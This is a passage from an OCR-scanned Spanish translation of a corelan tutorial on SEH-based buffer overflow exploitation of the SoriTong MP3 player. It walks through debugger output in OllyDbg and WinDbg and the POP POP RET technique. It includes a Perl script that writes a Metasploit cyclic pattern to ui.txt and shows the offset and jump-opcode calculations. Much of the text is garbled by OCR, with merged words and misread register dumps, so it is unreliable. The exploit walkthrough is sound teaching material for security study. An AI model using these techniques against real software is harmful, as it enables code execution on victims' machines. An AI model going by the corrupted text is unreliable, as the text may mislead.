Entonces, el manejador funcion6. Cuasamos una excejcreando un
archivo Ul.txt mal elaborado). La aplicacion salt cadena SEH (at
0x0012DF64). Anda a “View” y luego “SEH chain”.

OllyDbg - SoriTong.exe - [CPU - main thread
@ File | Wiew Debug Plugins Ophions — Window

(=44 Log AlE+L ! -
ARG ZZE s Executable modules  Alk+E ORO FTI
facoes  Memary Albppy  LEeriTe
Hid22ES SoriTo
G 22E SR FTR DS
BEGZZES [ SoriT
S o
e N e |
Do4eogs  Handes TE FTR
BE422E4) R Ak , OL

TR b — - D
T -
GadzzE4  Patches Chrl+P Sor i Tol
BB ZZE , i

La direccion del SE handler apunta a la ubicacmmdd esta el codigo que
necesita ser ejecutado para trabajar con la exaepci

&% SEH chain of main thread

Address |SE handler
BE12F064 | 41414141

El SE handler fue sobrescrito con 4 A’s. Ahora,psee interesante.
Cuando la excepcidon sea manejada, EIP sera sabyesar la direccion en
el SE handler. Ya que podemos controlar el valoreermanejador,
podemos hacer que ejecute nuestro codigo.

Ver SEH en accion - Windbg

Cuando ahora hace lo mismo en Windbg, esto esdweunos:

Cierra Olly, abre Windbg y carga el archivo sorgaxe.

"I-[ WinDbg:6.11.0001.404 X86
File Edit Wiew Debug Window Help

Cpen Source File, ., kel
Close Current ‘Window Ckrl+F —

Open Executable. ..

Aktach to a Process. .. F&
Cpen Crash Durmp. .. kel
Connect o Remote Session... k4R




Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

El depurador para primero (pone un breakpoint aukesejecutar el
archivo). Escribe el comandp (go) que significar ejecutar. Y presiona
Enter. (Tambien puedes ejecutar la aplicacion é&)n F

5:-[ C:%Program Files\SoriTong SoriTong.exe” - WinDbg:6.11.0001.404 X856
File Edit “iew Debug MWindow Help

2| BB D MR " DRAGEEEE OEE| 18] A
Hicro=oft (RE) Windows Debugger Version 6.11.0001.404 H86

Copyright (c) Microsoit Corporation. All rights reserved.

CommandLine: "C:“Program Files“SoriTong~SoriTong. exe"

Symbol =search path is: *%x Invalid *xx

* Synbol loading may be unreliable without a svmnbol =s=sarch path. *
* == .symfix to have the debugger choose a symbol path. *
* After setting wour symbol path. use .reload to refresh synbol locations. =
Executable =earch path is:

ModLoad: 00400000 004de000 SoriTong.exs

ModLosad: 7900000 7c9b2000 ntdll . d1ll

ModLoad: 7c800000 7c8f6000 CoSWIHDOWS sy=stendi~kernel32 dll

ModLosad: 77dd0000 77=6b000 CoWIRDOWS~systend2~ADVAPTIZ dll

ModLoad: 77=70000 77£02000 CoSWIHDOWS sy=tend2~EPCRT4 411

ModLoad: 77iel000 77££1000 ConWINDOWSwsystend2~Securd2 . dll

ModLoad: 77=00000 77=08000 CoSWIHDOWSsy=tend2~VERSION . 411

ModLoad: 73000000 73026000 CoWIRDOWS~sy=stend 2~ WINSPOOL  DEV

ModLoad: 77f£10000 77£559000 CoSWIHDOWSsy=stend2~GDI32 d11

ModLoad: 7e410000 7e=4al000 CoWNIRDOWS~sy=tend2~USERIZ dll

HodLoad: 7710000 7763000 CoWINDOWS sy=tend2~navort . dll

ModLoad: 54090000 5d412a000 ConWIRDOWS~sy=stend2~COMCTLIZ d11

ModLoad: 7e3b0000 763£9000 CoWWIRDOWS~systend2~COMDLG32  d11

ModLoad: 7c9c0000 74147000 CowWINDOWS~sy=tendZ2~SHELL3Z dll

ModLoad: 77£60000 77fde000 CoWIRDOWS~systend2~SHLWAPT . 411

ModLoad: 7eb40000 7ebad00n ConWIRDOWS~systend2~WINKH dl1

ModLosad: 774e=0000 77614000 CoWWIRDOWS~systend2~0LE3Z dll

ModLoad: 77120000 77lab000 CoWWIHDOWS~sy=ten3Z2~0LEATTIZ d11

{cb4.828) . Break instruction exception — code 20000003 {first chance)

sax=00241=ebd ebx=7f{dc000 =cxz=00000001 =dx=00000002 ==i=00241£f48 =di=00241=h4
eip=7c90120e esp=0012fb20 ebp=0012£c94 iopl=0 nv up i pl nz na po nc

c==001b ===0023 d==0023 e==0023 f{==003b g==0000 efl=00000202

#¥% ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll . dll -
ntdll ! DbgBreakPoint :

7c90120e co int 3

=
[0:000} 5 |

[tno, Colo [Sys 0:<local> |Proc000:cS4 | Thrd 0

Soritong mp3 player
capturado la “primera
aplicacion.

se ejecuta y muere poco despwuésdbg ha
excepcion oportuna”, y heedielo el flujo de la

HULLUGL. fUDsUUUU ¢ Uuauuuy MW LILAW O S Y S LS & LI
ModLoad: 77340000 77443000 CosTINDOWSSWinSxS~=86_H 14dco
ModLoad: 74720000 7476c000 CTINDOWS systen3d2~M5C

ModLoad: 7550000 755e=000 C~WINDOWS system3 2 msc

ModLoad: 72420000 72429000 CoTINDOWS systend 2 wdm

ModLoad: 77920000 77213000 C:~UINDOUS =vy=ten3d 2 =set

HodLoad: 76c30000 7ecte000 C S WINDOUS sy=ten3 2~WIH

ModLoad: 77280000 77b15000 CoWTINDOWS svysten3d 2~CRY M P 3 P LAY E R
ModLoad: 77bL20000 77bL32000 CoSTINDOWS systend2~H54 Version 1.0
ModLoad: 76c90000 76ch3000 ConTINDOWS ~systen32~IHA -
ModLoad: 72420000 72429000 CoTINDOWS systend 2 wdm

HodLoad: 77920000 77313000 CoTINDOWS =ystend2 aet ‘\\
HodLoad: 72410000 72418000 C S WINDOUS systend 2 mnza ‘
ModLoad: 77be0000 77bf5000 C~UINDOUS =y=tem32~MSA | Loading Skind... :
ModLoad: 77bd0000 77bd7000  C:\VINDOWS\system32\mid Mf’r‘f:f;f:;';:;:-
HModLoad: 10000000 10094000 C:~Progran Files~SoriTo g N
ModLoad: 42100000 42129000 CoSTINDOWS systen3d 2 wnaudsdk dll

ModLoad: 00£10000 00£5£000 Co~TINDOWS~system3Z2~DRHMClien . DLL

ModLoad: Sbce0000 Sbocab0OO0 C~WINDOWS~system3dZ2~strmdll . dll

ModLoad: 71ad0000 71ad9000 CoTINDOWS systend2~WS0OCK32 41l

ModLoad: 71sb0000 71ac?000 CoTINDOWS systend2~W52_32 .d11

ModLoad: 71220000 71228000 C~UINDOUS =systen3d2~WS2ZHELF . d11

ModLoad: 76eb0000 76edf000 CowTINDOWS =vysten3d2~TAPIZ2 d11

HodLoad: 76=80000 76e=8=000 CsWINDOWS~system3IZ2-rtutils. d1l

(hil. adcy: Acce iolation — code 0000005 (first chance)

Firszt chance exceptions are reported before any exception handling

Thiz exception may be expected and handled.

sax= 10130000 eb==00000003 ecz=00000T4T ed==0000004T e=1=00171504 edi=0012{fde4

=ip=00422233 e=sp=0012dald ebp=0012fd38 iopl=0 nv up 2i pl nE ac po nc

c==001b ===0023 d==0023 e=s=0023 {==003b g==0000 efl=00010212

*xx% WARNIHNG: Unable to werify checksum for SoriTong.exe

*®x% ERRORE: Symbol file could not be found Defaulted to export symbols for SoriTong sxe —
SoriTong ! TmC13_S5+0x3eal:

00422e33 8B810 now byte ptr [eax].dl d=:0023:00130000=41




Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

El mensaje dice: “la excepcion puede ser esperadangjada”.

Mira el Stack:

00422e33 8810 mov byte ptr [eax],dl

ds:0023:00130000=41

0:000> d esp

0012dald 3c eb aa 00 00 PO 00 00-00 00 00 00 00 00 00 90 <..........co...
0012da24 94 da 12 00 00 PO 00 00-e0 a9 15 00 00 00 00 9O ................
0012da34 ©0 00 00 00O 00 00 00 00-00 00 00 00 94 88 94 7C ....vvveueeenns |
0012da44 67 28 91 7c 00 eb 12 00-00 00 00 00 01 a0 f8 80 g(.|.....cvun.n.

0012da54 ©1 00 00 00 24 da 12 00-71 b8 94 7c d4 ed 12 00 ....$...9..]....
0012da64 8f 04 44 7e 30 88 41 7e-ff ff ff ff 2a 88 41 7e ..D~0.A~....*. A~
0012da74 7b 92 42 7e af 41 00 00-b8 da 12 00 d8 @0 @b 5d {.B~.A......... ]

0012da84 94 da 12 00 bf fe ff ff-b8 f0 12 00 b8 a5 1500 ................

ff ff ff ff aqui indica el final de la cadena. Cuando analizmmo
(fanalyze —v), obtenemos esto:

FAULTING_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl

EXCEPTION_RECORD: ffffffff -- (.exr Oxffffffffffffffff)
ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)
ExceptionCode: c@000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00130000
Attempt to write to address 00130000

FAULTING_THREAD: ©0000a4c

PROCESS_NAME: SoriTong.exe

ADDITIONAL_DEBUG_TEXT:

Use '!findthebuild' command to search for the target build information.

If the build information is available, run '!findthebuild -s ; .reload' to
set symbol path and load symbols.

FAULTING_MODULE: 7c900000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP: 37dee0@00

ERROR_CODE: (NTSTATUS) ©xc@000005 - The instruction at "0x%081x" referenced
memory at "Ox%081x". The memory could not be "%s".

EXCEPTION_CODE: (NTSTATUS) 0xc@000005 - The instruction at "©x%@81x"
referenced memory at "0x%081x". The memory could not be "%s".

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: ©0130000



Creacion de Exploits SEH parte 3 por corelancOd3rraducido por

lvinson/CLS
WRITE_ADDRESS: ©0130000
FOLLOWUP_IP:
SoriTong!TmC13_5+3ea3
00422e33 8810 mov byte ptr [eax],dl

BUGCHECK_STR: APPLICATION_FAULT_INVALID POINTER_WRITE_WRONG_SYMBOLS
PRIMARY_PROBLEM_CLASS: INVALID POINTER_WRITE

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE

IP_MODULE_UNLOADED:

ud+41414140

41414141 »? ???

LAST_CONTROL_TRANSFER: from 41414141 to 00422e33

STACK_TEXT:

WARNING: Stack unwind information not available. Following frames may be
wrong.

0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea3
0012fd3c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd40 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd44 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd48 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd4c 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd50 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012fd54 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140

. (removed some of the lines)

0012ffb8 41414141 41414141 41414141 41414141 <Unloaded_ud.drv>+0x41414140
0012ffbc

SYMBOL_STACK_INDEX: ©

SYMBOL_NAME: SoriTong!TmC13_5+3ea3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: SoriTong

IMAGE_NAME: SoriTong.exe

STACK_COMMAND: ~@s ; kb

BUCKET_ID: WRONG_SYMBOLS

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c@000005_ SoriTong.exe!TmC13_5

Followup: MachineOwner



Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

El registro de la excepcion apunta a ffffffff, lauad significa que la
aplicacion no us6 un manejador para este desboedéoniY fue se uso el
manejor de Ultimo recurso que es provisto por el SO

Cuando Dumpeas el TEB después que ocurre la exeepas esto:

0:000> d fs:[0]

003b:00000000 64 fd 12 00 00 00 13 00-00 cO 12 90 00 00 00 0O d...............
003b:00000010 00 le 00 0O 0O 0O 00 00-00 fO fd 7f 00 60 00 0O ................
003b:00000020 00 Of 00 00 30 Ob 00 00-00 00 00 00 08 2a 14 00 ....0........ Foc
003b:00000030 00 bo fd 7f 00 00 00 00-00 00 00 00 00 00 00 0O ...........cc...
003b:00000040 38 43 a4 e2 00 00 00 00-00 0O 00 00 00 00 00 00 8C........cnovn..
003b:00000050 00 00 00 00 0O 0O 0O 00-00 0O 0O 00 00 00 00 0O ...........0ovo..
003b:00000060 00 00 00 0O 0O 0O 0O 00-00 0O 0O 00 00 00 00 0O ...........0o0o..
003b:00000070 00 00 00 0O 0O 0O 0O 00-00 0O 00 00 00 00 00 0O ..........c0onvn.

=> Puntero a la cadena SEH, en 0x0012FD64.
Esa area, ahora contiene A’s.

0:000> d 0012fd64

0012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdad 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdcd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

La cadena de excepcion dice:

0:000> lexchain
0012fd64: <Unloaded_ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141

=> Hemos sobrescrito el manejador. Ahora, dejalguplicacion captura
la excepcién (simplemente, escrilpde nuevo en Windbg o presiona F5) y
veamos que pasa.

0:000: g

(bfl . ad4c): Access wiolation — code 0000005 (first chance)

Fir=st chance exceptions are reported before any exception handling.

Thi= exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=41414141 edx=7cY9032bc esi=00000000 =edi=00000000

eip=41414141 e=p=0012de44 ebp=0012d66d i1opl=0 nv up i pl =zr na pe nc
c==001lb ===0023 d=s=0023 e==0023 {==003b g==0000 efl=0001024%
¢Inloaded_ud . drwv:+0x41414140:
41414141 77 e

EIP ahor, apunta a 41414141. Entonces, podemosot@mElP.



Creacion de Exploits SEH parte 3 por corelancOd3rraducido por
lvinson/CLS

El “exchain” ahora reporta:

0:000> lexchain

0012d658: ntdll!RtlConvertUlongTolLargeInteger+7e (7c9032bc)
0012fd64: <Unloaded_ud.drv>+41414140 (41414141)

Invalid exception stack at 41414141

Microsoft ha publicado una extension de Windbg Hdm!exploitable.
http://msecdbg.codeplex.com/

Descarga el paquete, y pon la DLL en la carpetastalaciéon de Windbg,
dentro de la subcarpeta winext.

& C:Program Files',Debugging Tools for Windows (x86),winext

File Edit “iew Favorites Tools  Help
.. ) Search Folders

eBackv.\_;]* ? 7 = | & xn|E|'

&ddress | Ci\Pragram Files\Debugaing Tools For Windows (xEa ) winesxt

MSEC. pdb
FDE File
2419 KB

MSEC.dl
1.0.6.0
M3EC Debugger Extension

...................... ) et ) ket
,J manifest! W | 6.11.1.404 "‘!\; £.11.1.404
Debugger Extensions Debugger Extensions
o B lngexts.d . et dl o N wdfkd.di
‘{5 5.3.0.1 W | 111404 ‘*ﬂv 6.1.7015.0
Win32 API Logging Debugger ... Debugger Extensions Microsoft@® Kernel Debugager E...

Este médulo ayudard a determinar si un “crash, pgkne 0 acces
violation” de aplicacion determinada seria explab no. (Esto no se
limita a exploits de SEH).

Cuando aplicamos este modulo en el Soritong MP@&plinmediatamente
después que ocurre la primera excepcién, vemos esto

(588.58c): Access violation - code c@000OO5 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
€ax=00130000 ebx=00000003 ecx=00000041 edx=00000041 esi=0017f504 edi=0012fd64
eip=00422e33 esp=0012dalsd ebp=0012fd38 iopl=0

cs=001b ss=0023 ds=0023

es=0023 fs=003b gs=0000

*** WARNING: Unable to verify checksum for SoriTong.exe

*** ERROR: Symbol file could not be found.

SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
0042233 8810
ds:0023:00130000=41

byte ptr [eax],dl

nv up ei pl nz ac po nc

ef1=00010212

Defaulted to export symbols for
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0:000> !load winext/msec.dll

0:000> !exploitable

Exploitability Classification: EXPLOITABLE

Recommended Bug Title: Exploitable - User Mode Write AV starting at
SoriTong!TmC13_5+0x0000000000003ea3 (Hash=0x46305909.0x7f354a3d)

User mode write access violations that are not near NULL are exploitable.

Después de pasarle la excepcion a la aplicaciowifydbg captura la
excepcion), vemos esto:

0:000> g
(588.58c): Access violation - code c@000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
€ax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000

eip=41414141 esp=0012d644 ebp=0012d664 iopl=0 nv up ei pl zr na pe nc
€s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010246
<Unloaded_ud.drv>+0x41414140:

41414141 ?? ???

0:000> !exploitable

Exploitability Classification: EXPLOITABLE

Recommended Bug Title: Exploitable - Read Access Violation at the Instruction
Pointer starting at <Unloaded_ud.drv>+0x0000000041414140
(Hash=0x4d435a4a.0x3e61660a)

Access violations at the instruction pointer are exploitable if not near
NULL.

Excelente modulo. Buen trabajo, Microsdait.

¢, Puedo usar la Shellcode encontrado en los
registros para saltar a ellos?

Si y no. Antes de Windows XP SP1, tu podias sdit@ctamente a estos
registros para ejecutar la Shecode, pero de SRtledante, se implementé
un mecanismo de proteccion para evitar que sucenksas con esa. Antes
de que el manejador tome control, todos los resion XOReados entre
si. (Puestos a 0x00000000). De esta forma, cuandecte el SEH, todos
los registros son indtiles.
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Ventajas de los exploits de SEH sobre los exploits
de desbordamiento de Stack sobrescribiendo el
RET (EIP directo)

En un desbordamiento de RET comun, ta sobresdiliey lo haces saltar
a tu Shellcode. Esta técnica funciona bien, pesml@wcausar problemas de
estabilidad si no puedes encontrar un JMP en una ®Isi necesitas
hardcodear direcciones, también puede sufrir dblgmmas de tamafio de
buffer. Limitando la cantidad de espacio disponilgara alojar tu
Shellcode. A menudo, vale la pena. Cada vez quashdgscubierto un
desbordamiento de pila y encontrado que puedessoibir EIP, tratar de
escribir mas abajo del Stack para tratar de eramofdrcadena de SEH.
“Escribir mas abajo” significa que probablementemiaaras con mas
espacio de buffer disponible. Y a la vez, estas@wescribiendo EIP con
basura. Se activaria una excepcion automaticamexevirtiendo el
exploit “clasico” en uno de SEH.

¢, Como podemos explotar vulnerabilidades de SEH?

Facil. En los exploits de SEH. Tu payload basutaresxribira primero el
proximo puntero de SEH, luego el SE handler. Despoée tu Shellcode.

Cuando ocurre la excepcion, la aplicaciéon ira al I&Badler. Entonces,
necesitas poner algo en el SE handler para queavay&hellcode. Esto se
logra fingiendo otra excepcién. Asi, la aplicaci@al proximo puntero de
SEH.

Cuando el proximo puntero de SEH esté antes ddigBler, ya puedes
sobrescribir el proximo SEH. La Shellcode se pagspdés del SE handler.
Si las pones una y una juntas, puedes engafnar ba&dter para ejecutar
POP POP RET, lo cual pone la direccion al proxirsti®n EIP, y eso

ejecutara el cédigo en el proximo SEH. (En vez oleep una direccion al

proximo SEH, pones cddigo). Todo lo que este coédegesita es saltar la
proxima pareja de bytes donde se almacena el SHengntu Shellcode se
ejecutara.
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Ocurre la lera excepcién:
I
--------------------------- (1)
I
------- 4-------------- (3) opcode in prox. SEH : salta el SE Handler hacia
la shellcode
I I I
| \Y Vv
[buffer basura ][ préximo SEH ][ SE Handler ][ Shellcode ]
opcode para hacer (3) La Shellcode se ejecuta

saltar pop pop ret
SE Handler |

" I

-------------- (2) ‘pretenderd’ que hay una 2nda excepccion, pone la direccidn
de la ubicacidén del préximo SEH en EIP, el opcode se ejecuta.

Por supuesto, la Shellcode puede estar justo degfmusobrescribir el SE
handler. O puede haber basura adicional en la pip&reja de bytes. Es
importante verificar que puedes ubicar la Shellcodeque puedes
propiamente saltar a ella.

¢, Como puedes encontrar la Shellcode con
exploits de SEH?

Primero, encuentra el Offset al proximo SEH y SBdbrescribe el SEH
con un POP POP RET y pon BP en el préximo SEH> Bata que la
aplicacion se detenga cuando ocurra la excepciérenténces puedes
buscar la Shellcode. Ve las secciones para sab®r se hace esto.

Creando el exploit — Encuentra los Offsets del “el
proximo SEH” y “SE Handler”

Necesitamos encontrar el Offset para un par descosa

» Al lugar donde sobrescribiremos el proxima SEH (sato a la
Shellcode).

» Al lugar donde sobrescribiremos el SE handle addetberia estar
justo después del préximo SEH).

Una forma simple de hacer esto es llenando el pdyton un patrén anico
(Metasploit mandando de nuef) y luego buscar 3 lugares.
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my $junk="AadAalAa2Aa3Aad4Aa5AabAa7Aa8AadAbOAb1Ab2Ab3Ab4AbS5AD6Ab7ADBADOACOACIAC2AC3ACAACSAC" .
"6ACc7Ac8Ac9AdOAd1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8AeIATOATIAF2A" .
"f£3AfAAFS5AT6AT7AF8ATIAgOAgIAg2Ag3Ag4Ag5Ag6Ag7Ag8AgO9AhOAhIAh2Ah3AN4ANS5AN6AN7ANBANS" .
"Ai@Ai1Ai2Ai3A14Ai5A16A17A18A19AjOAj1Aj2Aj3Aj4A]5A6A]7A 8Aj9AKkOAK1AK2AK3AKAAKSAK" .
"6Ak7Ak8AK9A10A11A12A13A14A15A16A17A18A19AMOAMIAM2Am3AM4AmM5Am6AM7Am8Am9ANOAN1AN2A" .
"n3An4An5An6An7An8An9A00A01A02A03A04A05A06A07A08A09APOAP1AP2Ap3Ap4AAPSAp6Ap7Ap8APS” .
"AqOAq1Aq2AGq3Aq4Aq5Aq6Aq7Aq8AQqOAroAr1Ar2Ar3Ar4ArSAr6Ar7Ar8AroAsOAs1As2As3As4As5As" .
"6AS7AS8ASOAtOAt1IAT2At3At4AL5At6AL7At8At9AUGAULIAU2AU3AU4AUSAU6AU7AUBAUSAVOAVIAV2A" .
"v3Av4AvV5AVE6AV7AV8AVIAWOAWIAW2AW3AWAAWS AWEAW7AWBAWIAXOAXIAX2AX3AXAAX5AX6AX7AXBAX" .
"AyOAy1Ay2Ay3Ay4AySAy6AYy7Ay8AYyOAzOAz1AZz2Az3Az4AZz5Az6Az7Az8Az9BadBalBa2Ba3Ba4Ba5Ba” .
"6Ba7Ba8Ba9BboBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbOBCcOBCc1BCc2Bc3Bc4Bc5BCc6BCc7BCc8BCcI9BAOBA1Bd2B" .
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be@BelBe2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9" .
"BgoOBg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhOBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0OBi1Bi2Bi3Bi4Bi5Bi" .
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9BkOBk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B10B11B12B" .
"13B14B15B16B17B18B19Bm@Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn@BN1BN2Bn3Bn4Bn5Bn6Bn7Bn8BNn9" .
"Bo@B01B02B03B04B05B06B07B08B09BpOBp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9BqOBq1Bgq2Bq3Bg4Bq5Bq” .
"6Bq7Bq8Bq9BroBriBr2Br3Br4Br5Br6Br7Br8BroBs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtOBt1Bt2B" .
"t3Bt4Bt5Bt6Bt7Bt8Bt9BU@BU1BU2BU3BU4BUS5BU6BU7BU8BU9BVOBV1BYV2BYV3BV4BY5BV6BV7BVEBVI” .
"BwOBw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8BwIBx0OBx1Bx2Bx3Bx4BXx5BXx6BXx7BXx8Bx9By0By1By2By3By4By5By" .
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9CakCalCa2Ca3Ca4Ca5Ca6Ca7Ca8Ca9CboCbliCh2C".
"b3Cb4Cb5Cb6Cb7Cb8CHICCcOCCc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8CcICdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd™ .
"Ce@CelCe2Ce3Ce4Ce5Ce6Ce7Ce8Ce9CFOCT1CF2CF3CF4CF5CF6CT7CF8CFICg0Cg1Cg2Cg3CgaCg5Cg" .
"6Cg7Cg8Cg9ChOCh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CiACil1Ci2Ci3Ci4Ci5CieCi7Ci8Ci9CjOCj1Cj2C" .
"j3Cj4Cj5Cj6Cj7Cj8Cj9CkoCk1Ck2Ck3Ck4Ck5Ck6Ck7Ck8CkoC10C11C12C13C14C15C16C17C18C19" .
"CmOCM1Cm2Cm3Cm4Cm5Cm6CM7Cm8CM9CNOCN1CN2CN3Cn4Cn5CN6CN7Cn8CN9C00C01C02C03Co4Co5Co";

open (myfile,">ui.txt");
print myfile $junk;

Crea el archivo ui.txt.

Abre Windbg y carga soritong.exe. Comenzara paugsslaque, ejecutalo.
El depurador capturard la primera excepcion. Naldges correr mas,
permitiendo a la aplicacién que capture la exceppiirque cambiaria todo
el estado del Stack. Solo mantén pausado el dapuyathira la cadena
SEH.

0:000> lexchain
0012fd64: <Unloaded ud.drv>+41367440 (41367441)
Invalid exception stack at 35744134

El manejador de SEH se ha sobrescrito con 41 361741 manejador de
SEH se ha sobrescrito con 41367441 (little endiand1l 74 36 41, que es
el valor hexa para At6An(tp://www.dolcevie.com/js/converter.htil
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Esto se corresponde con el offset 588. Esto nes$aiado 2 cosas:
- El manejador SE es sobrescrito después de 588.byt

- El puntero de la SEH siguiente es sobrescritputes de 588-4 bytes =
584 bytes. Esta ubicacion es 0x0012fd64 (como sestraien la salida!
Exchain)

Sabemos que nuestra shellcode se encuentra jusgioédede sobreescribir
el manejador de SE. Asi, la shellcode debe sercadé en 0012fd64 4
bytes + 4 bytes.

[Junk][next SEH][SEH][Shellcode]
El proximo SEH se coloca en 0x0012fd64.

Objetivo: El exploit desencadena una excepciéra\&EH, que dara lugar
a otra excepciéon (POP POP RET). Esto hara queltel gal flujo salte
préximo SEH. Asi que todo lo que necesitamos deairl "préximo SEH"
es que salte al proximo par de bytes y que tergnia shellcode". 6 bytes
(0o mas, si se inicia la shellcode con un montorN@P’s) no tendran
ningun problema.

El opcode para un salto corto es EB. Seguidogdistancia del salto. En
otras palabras, a un salto corto de 6 bytes leesponde EB O06.
Necesitamos llenar 4 bytes. Entonces, debemos aag@dNOP’s para
llenar el espacio de 4 bytes. Asi, el campo dekipro SEH debe ser
sobrescrito con Oxeb, 0x06, 0x90, 0x90.

¢, Como funciona exactamente el POP POP RET
cuando trabaja con exploits de SEH?

Cuando ocurre una excepcion, el despachador dep@woes crea su
propio marco de Stack. PUSHeara elementos del adwregl Stack creado
recientemente. Como parte del prélogo de una fantido de los campos
en la estructura del manejador es el Establisher-r&ste campo apunta a
la direccion al registro de excepciones (el proxirggH) que fue
PUSHeado al Stack del programa. Esta misma dinectatbién esta
ubicada en ESP+8 cuando el manejador es IllamadmraAhsi
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sobrescribimos el manejador con la direccion desstaiencia POP POP
RET:

» El primer POP quitara 4 bytes del Stack.
* El segundo POP quitara 4 mas.

 El RET tomara el valor actual del tope de ESP quegeal a la
direccién del proximo SEH ubicado en ESP+8, pemlgo2 POP’s
ahora queda en el tope del Stack y lo pone en EIP.

Hemos sobrescrito el préximo SEH con algin Jump&ddéco (en vez de
una direccién) para ejecutar el cédigo.

De hecho, el campo del préximo SEH puede ser cermiod como la
primera parte de nuestra Shellcode (Jumpcode).

Construccion del exploit — uniendo todo

Después de haber encontrado los offsets importasiwés necesitamos la
direccién de un POP POP RET antes de contruirgbix

Cuando ejecutamos Soritong MP3 player en Windbdepws ver la lista
de médulos cargados.

ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773d0000 774d3000

C:\WINDOWS\WinSxS\x86 Microsoft...d4ce83\comctl32.dll
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.d1ll
ModLoad: 755c0000 755ee000 :\WINDOWS\system32\msctfime.ime
ModLoad: 72d20000 72d29000 : \WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77213000 :\WINDOWS\system32\setupapi.dll
ModLoad: 76c30000 76c5e000 : \WINDOWS\system32\WINTRUST.d1l1l
ModLoad: 77280000 77b15000 :\WINDOWS\system32\CRYPT32.d11
ModLoad: 77b20000 77b32000 :\WINDOWS\system32\MSASN1.d11l
ModLoad: 76c90000 76cb8000 :\WINDOWS\system32\IMAGEHLP.d1l1l
ModLoad: 72d20000 72d29000 : \WINDOWS\system32\wdmaud.drv
ModLoad: 77920000 77213000 :\WINDOWS\system32\setupapi.dll
ModLoad: 72d10000 72d18000 :\WINDOWS\system32\msacm32.drv
ModLoad: 77be0000 77bf5000 :\WINDOWS\system32\MSACM32.d11
ModLoad: 77bdeeeo 77bd7000 :\WINDOWS\system32\midimap.dll
ModLoad: 10000000 10094000 :\Program Files\SoriTong\Player.dll
ModLoad: 42100000 42129000 : \WINDOWS\system32\wmaudsdk.dll
ModLoad: 00110000 00f5f000 : \WINDOWS\system32\DRMClien.DLL
ModLoad: 5bc60000 5bcao0oe :\WINDOWS\system32\strmdll.d1ll
ModLoad: 71adoeee 71ad90ee :\WINDOWS\system32\WSOCK32.d11
ModLoad: 71abeeeo 71ac7000 :\WINDOWS\system32\WS2 32.d11
ModLoad: 71220000 71aa8000 : \WINDOWS\system32\WS2HELP.d11

sNeoNeoNeoNeoNaoNesNeoNeoNeoNeoNoNeoNeoNeoNeoNoNaNe!
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ModLoad: 76eb0000 76edf000  C:\WINDOWS\system32\TAPI32.dll
